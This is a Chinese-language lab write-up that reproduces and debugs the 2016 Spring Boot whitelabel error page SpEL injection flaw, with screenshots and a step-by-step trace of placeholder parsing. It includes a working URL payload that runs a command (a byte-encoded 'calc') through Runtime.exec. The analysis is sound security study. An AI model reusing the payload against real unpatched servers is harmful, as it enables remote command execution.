SpringBoot框架SpEL表達式注入漏洞復現與原理分析

前言

這是2016年的一個洞,利用條件是至少知道一個觸發 springboot 默認錯誤頁面的介面及參數名。

影響版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0

修復方案:升級版本

環境搭建

下載鏈接://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

用idea打開之後配置一下,如下圖:

image-20221017181515325

然後啟動訪問出現如下頁面,代表搭建成功。

image-20221017181803951

漏洞復現

訪問://localhost:9091/article?id=${9*9} ,可以發現${9*9}的SpEL表達式進行了解析,隨後將該表達式的運行的結果進行了返回,如下圖。

image-20221017182046663

現在嘗試彈出計算器,訪問://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

成功彈出,如下圖:

image-20221017182417716

調試分析

為什麼會出現這情況呢,這是因為springboot返回錯誤頁面的時候提供了詳細資訊,這些資訊包括

錯誤status(”status”->500)、時間戳(”timestamp”->”Fri Dec…..”)、錯誤資訊(”error”->”Internal Server Error”)、和用戶輸入的參數(”message”->”test”),然後後端渲染視圖時,會解析錯誤模板中的參數名。然後拿到對應的參數值,通過函數檢查參數值中是否存在${},如果存在則去除,然後傳入SpEL引擎進行解析。模板內容如下所示:

<html>
   <body>
       <h1>Whitelabel Error Page</h1>
       <p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
       <div id='created'>${timestamp}</div>
       <div>There was an unexpected error (type=${error}, status=${status})</div>
       <div>${message}</div>
    </body>
</html>

程式會判斷模板中每個${}的位置,然後將參數名一個一個取出來後傳入spel引擎,解析參數名對應的值。這裡就是漏洞的觸發點,假如我輸入${payload},spel取出來payload後進行解析,然後觸發漏洞。觸發點如下:

image-20221018225448700

瀏覽器訪問//localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))},現在開始調試,首先會將map的值傳入,context的rootObject中,之後以this.templatethis.resolver為參數調用replacePlaceholders方法,如下圖:

image-20221018233024516

this.template的內容就是上文的錯誤模板,跟進replacePlaceholders方法 ,進入PropertyPlaceholderHelper文件。image-20221018233724398

繼續跟進parseStringValue方法

image-20221018235520635

image-20221019000759281

分析一下程式碼,首先StringBuilder將strVal轉為字元串,並賦值給result,接著判斷result中${}位置,結果為157、168,然後通過substring截取157和168的中間值,並賦值給placeholder,本次的值為”timestamp”,然後將placeholder作為第一個參數,再次調用本方法。結果如下圖:

image-20221019004056336

strVal的值變為timestamp,所以在indexOf判斷時,由於沒出現${,所以變為了-1,跳過了while循環,直接執行下邊的return result.toString();

繼續跟進,下一步是調用resolvePlaceholder方法,此函數的作用是查找this.context中對應參數的值並返回,如下圖:
image-20221019005037683

發現拿到了時間戳”timestamp” -> “Wed Oct 19 00:38:36 CST 2022″,然後賦值給propVal,此時不為空,進入下一個if循環,再次調用parseStringValue。image-20221019005839496

接著進行replace替換,將原來的${timestamp}處的值替換成了 Wed Oct 19 00:38:36 CST 2022,最後return result.toString();返回,如下圖:

image-20221019011001492

然後尋找template中的下一個參數位,這次的參數是error,流程與上面基本一樣,這裡不再細緻分析。

image-20221019012345026

接著第三個參數是status,同理

image-20221019012501868

最後是第四個參數message,重點來了,這個值是用戶輸入的。接著分析,跟進parseStringValue方法

image-20221019013044154

拿到message對應的值,也就是用戶輸入的payload

image-20221019013330910

賦值給propVal,接著調用parseStringValueimage-20221019013644607

這次調用去除了${}

image-20221019014121103

最後進入resolvePlaceholder,成功執行T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63})),彈出計算器,分析結束。

image-20221019014310803

參考文章

//www.cnblogs.com/litlife/p/10183137.html

//www.cnblogs.com/zpchcbd/p/15536569.html

//blog.csdn.net/haduwi/article/details/126326511

//blog.csdn.net/weixin_54902210/article/details/124533353